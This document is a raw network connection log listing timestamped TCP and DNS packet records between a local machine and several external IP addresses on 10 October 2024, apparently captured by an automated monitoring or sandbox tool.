Oct 10, 2024 10:12:44.135252953 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:44.298157930 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:44.303500891 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:44.303572893 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:44.303736925 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:44.308626890 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:44.977232933 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:44.978737116 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:44.978801012 CEST	443	49752	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:44.978920937 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:44.979274988 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:44.979290962 CEST	443	49752	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:45.026437998 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:45.473432064 CEST	443	49752	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:45.475178003 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:45.475228071 CEST	443	49752	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:45.627284050 CEST	443	49752	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:45.627573967 CEST	443	49752	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:45.627645969 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:45.628217936 CEST	49752	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:45.638741016 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:45.639743090 CEST	49753	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:45.644027948 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:45.644095898 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:45.644644976 CEST	80	49753	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:45.644720078 CEST	49753	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:45.644862890 CEST	49753	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:45.649734974 CEST	80	49753	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:46.978985071 CEST	80	49753	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:46.979327917 CEST	80	49753	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:46.979547977 CEST	80	49753	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:46.979633093 CEST	49753	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:46.980484962 CEST	49753	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:46.987901926 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:46.987936974 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:46.988090992 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:46.999231100 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:46.999258995 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:47.005032063 CEST	49755	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:47.010094881 CEST	80	49755	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:47.010972977 CEST	49755	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:47.010972977 CEST	49755	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:47.015801907 CEST	80	49755	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:47.457808971 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:47.459891081 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:47.459916115 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:47.542433023 CEST	49672	443	192.168.2.4	173.222.162.32
Oct 10, 2024 10:12:47.542494059 CEST	443	49672	173.222.162.32	192.168.2.4
Oct 10, 2024 10:12:47.610348940 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:47.610584021 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:47.610666990 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:47.612680912 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:47.633951902 CEST	80	49755	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:47.636954069 CEST	49755	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:47.664295912 CEST	49753	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:47.665535927 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:47.669567108 CEST	80	49753	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:47.669630051 CEST	49753	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:47.670360088 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:47.670414925 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:47.670541048 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:47.675332069 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:47.960263014 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:47.960324049 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:47.960396051 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:47.961585045 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:47.961602926 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:48.052072048 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.052131891 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.052191973 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.061580896 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.061603069 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.344055891 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:48.345449924 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:48.345500946 CEST	443	49759	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:48.345557928 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:48.345868111 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:48.345881939 CEST	443	49759	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:48.385505915 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:48.673197031 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:48.673490047 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:48.675806999 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:48.675827026 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:48.676096916 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:48.684464931 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.684551954 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.684779882 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.805581093 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.805603981 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.805989027 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.806075096 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.807096958 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.821851969 CEST	443	49759	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:48.823014975 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:48.823626041 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:48.823651075 CEST	443	49759	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:48.847400904 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.960335016 CEST	443	49759	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:48.960421085 CEST	443	49759	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:48.960575104 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:48.962089062 CEST	49759	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:48.965568066 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:48.966958046 CEST	49761	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:48.970743895 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:48.970856905 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:48.971868992 CEST	80	49761	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:48.972150087 CEST	49761	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:48.972150087 CEST	49761	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:48.977045059 CEST	80	49761	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:48.981530905 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.981663942 CEST	443	49758	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:48.981709957 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.981904030 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.981904030 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:48.982048988 CEST	49758	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.012371063 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.012412071 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:49.012486935 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.012912035 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.012923956 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:49.468436956 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.511411905 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.645804882 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:49.645910025 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.646969080 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.646969080 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.647001028 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:49.647043943 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:49.657468081 CEST	80	49761	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:49.658760071 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:49.658829927 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:49.658919096 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:49.659167051 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:49.659179926 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:49.698046923 CEST	49761	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:49.701608896 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701673985 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701694965 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701714039 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701756001 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701757908 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.701780081 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701816082 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701822996 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.701822996 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.701848984 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.701877117 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.701910973 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701936960 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.701977968 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.702003002 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.702028036 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.702403069 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:49.702475071 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:49.946788073 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:49.948254108 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:49.948317051 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:49.948400021 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.028328896 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.028342009 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.028412104 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.028462887 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.028489113 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.028511047 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.028527975 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.038856030 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.038881063 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.038985968 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.039011955 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.039052010 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.121603966 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.121629000 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.121778011 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.121803999 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.126452923 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.127883911 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.127943993 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.127952099 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.127995014 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.127999067 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.128025055 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.128035069 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.128057957 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.138523102 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:50.155709982 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:50.155774117 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:50.236715078 CEST	49762	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:12:50.236757040 CEST	443	49762	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:50.288647890 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:50.288759947 CEST	443	49764	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:50.288852930 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:50.289344072 CEST	49764	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:50.298260927 CEST	49761	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:50.298841000 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:50.303494930 CEST	80	49761	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:50.303538084 CEST	49761	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:50.303658009 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:50.306471109 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:50.320301056 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:50.325301886 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:50.518872023 CEST	49757	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:12:50.518917084 CEST	443	49757	20.109.210.53	192.168.2.4
Oct 10, 2024 10:12:50.983469009 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:50.985400915 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:50.985445023 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:50.985508919 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:50.986131907 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:50.986140966 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:51.026151896 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:51.471596956 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:51.479131937 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:51.479159117 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:51.625358105 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:51.625452995 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:51.625505924 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:51.626290083 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:51.642385960 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:51.647864103 CEST	80	49767	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:51.647928953 CEST	49767	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:51.654453993 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:51.654488087 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:51.658989906 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:51.659125090 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:51.659137011 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:51.895889044 CEST	49771	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:51.900990009 CEST	80	49771	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:51.901345968 CEST	49771	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:51.901782990 CEST	49771	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:51.906593084 CEST	80	49771	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:52.279617071 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:52.282418013 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:52.302335978 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:52.302361965 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:52.303353071 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:52.315429926 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:52.363393068 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:52.523593903 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:52.523727894 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 10, 2024 10:12:52.523946047 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:52.529630899 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 10, 2024 10:12:52.609916925 CEST	80	49771	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:52.610008001 CEST	80	49771	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:52.610038996 CEST	49771	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:52.610414028 CEST	49771	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:52.610955954 CEST	49771	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:52.610955954 CEST	49771	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:53.822233915 CEST	49723	80	192.168.2.4	199.232.210.172
Oct 10, 2024 10:12:53.827472925 CEST	80	49723	199.232.210.172	192.168.2.4
Oct 10, 2024 10:12:53.827544928 CEST	49723	80	192.168.2.4	199.232.210.172
Oct 10, 2024 10:12:54.373431921 CEST	49773	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:54.378438950 CEST	80	49773	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:54.378511906 CEST	49773	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:54.382356882 CEST	49773	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:54.387300014 CEST	80	49773	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:55.084719896 CEST	80	49773	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:55.084765911 CEST	80	49773	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:55.084811926 CEST	49773	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:55.084841967 CEST	49773	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:55.085155964 CEST	49773	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:55.085177898 CEST	49773	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:56.903656960 CEST	49774	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:56.908715963 CEST	80	49774	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:56.908780098 CEST	49774	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:56.909068108 CEST	49774	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:56.914279938 CEST	80	49774	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:57.623152018 CEST	80	49774	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:57.623210907 CEST	80	49774	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:57.623250008 CEST	49774	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:57.623250008 CEST	49774	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:57.623781919 CEST	49774	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:57.623781919 CEST	49774	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:58.587265015 CEST	80	49755	51.81.194.202	192.168.2.4
Oct 10, 2024 10:12:58.587315083 CEST	49755	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:00.571791887 CEST	49755	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:00.572333097 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:00.576694965 CEST	80	49755	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:00.577244043 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:00.577332020 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:00.577584982 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:00.582808018 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:01.200303078 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:01.200408936 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:01.207715988 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:01.207757950 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:01.207832098 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:01.208293915 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:01.208303928 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:01.849261999 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:01.849404097 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:01.850017071 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:01.850047112 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:01.850306034 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:01.850317955 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:02.149967909 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:02.150064945 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:02.150093079 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:02.150116920 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:02.150141001 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:02.150166035 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:02.150298119 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:02.150312901 CEST	443	49776	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:02.150326967 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:02.150357008 CEST	49776	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:03.765928984 CEST	49777	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:03.771058083 CEST	80	49777	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:03.771209002 CEST	49777	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:03.771522999 CEST	49777	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:03.776575089 CEST	80	49777	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:04.268862963 CEST	64568	53	192.168.2.4	162.159.36.2
Oct 10, 2024 10:13:04.273786068 CEST	53	64568	162.159.36.2	192.168.2.4
Oct 10, 2024 10:13:04.273864985 CEST	64568	53	192.168.2.4	162.159.36.2
Oct 10, 2024 10:13:04.279119968 CEST	53	64568	162.159.36.2	192.168.2.4
Oct 10, 2024 10:13:04.497175932 CEST	80	49777	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:04.497242928 CEST	80	49777	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:04.497297049 CEST	49777	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:04.497401953 CEST	49777	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:04.497920990 CEST	49777	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:04.497966051 CEST	49777	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:04.733458042 CEST	64568	53	192.168.2.4	162.159.36.2
Oct 10, 2024 10:13:04.739181042 CEST	53	64568	162.159.36.2	192.168.2.4
Oct 10, 2024 10:13:04.739272118 CEST	64568	53	192.168.2.4	162.159.36.2
Oct 10, 2024 10:13:04.776571035 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:04.776680946 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:04.777100086 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:04.777556896 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:04.777597904 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:05.483370066 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:05.483520985 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:05.550766945 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:05.550856113 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:05.551851988 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:05.604337931 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:06.068895102 CEST	64569	443	192.168.2.4	13.85.23.206
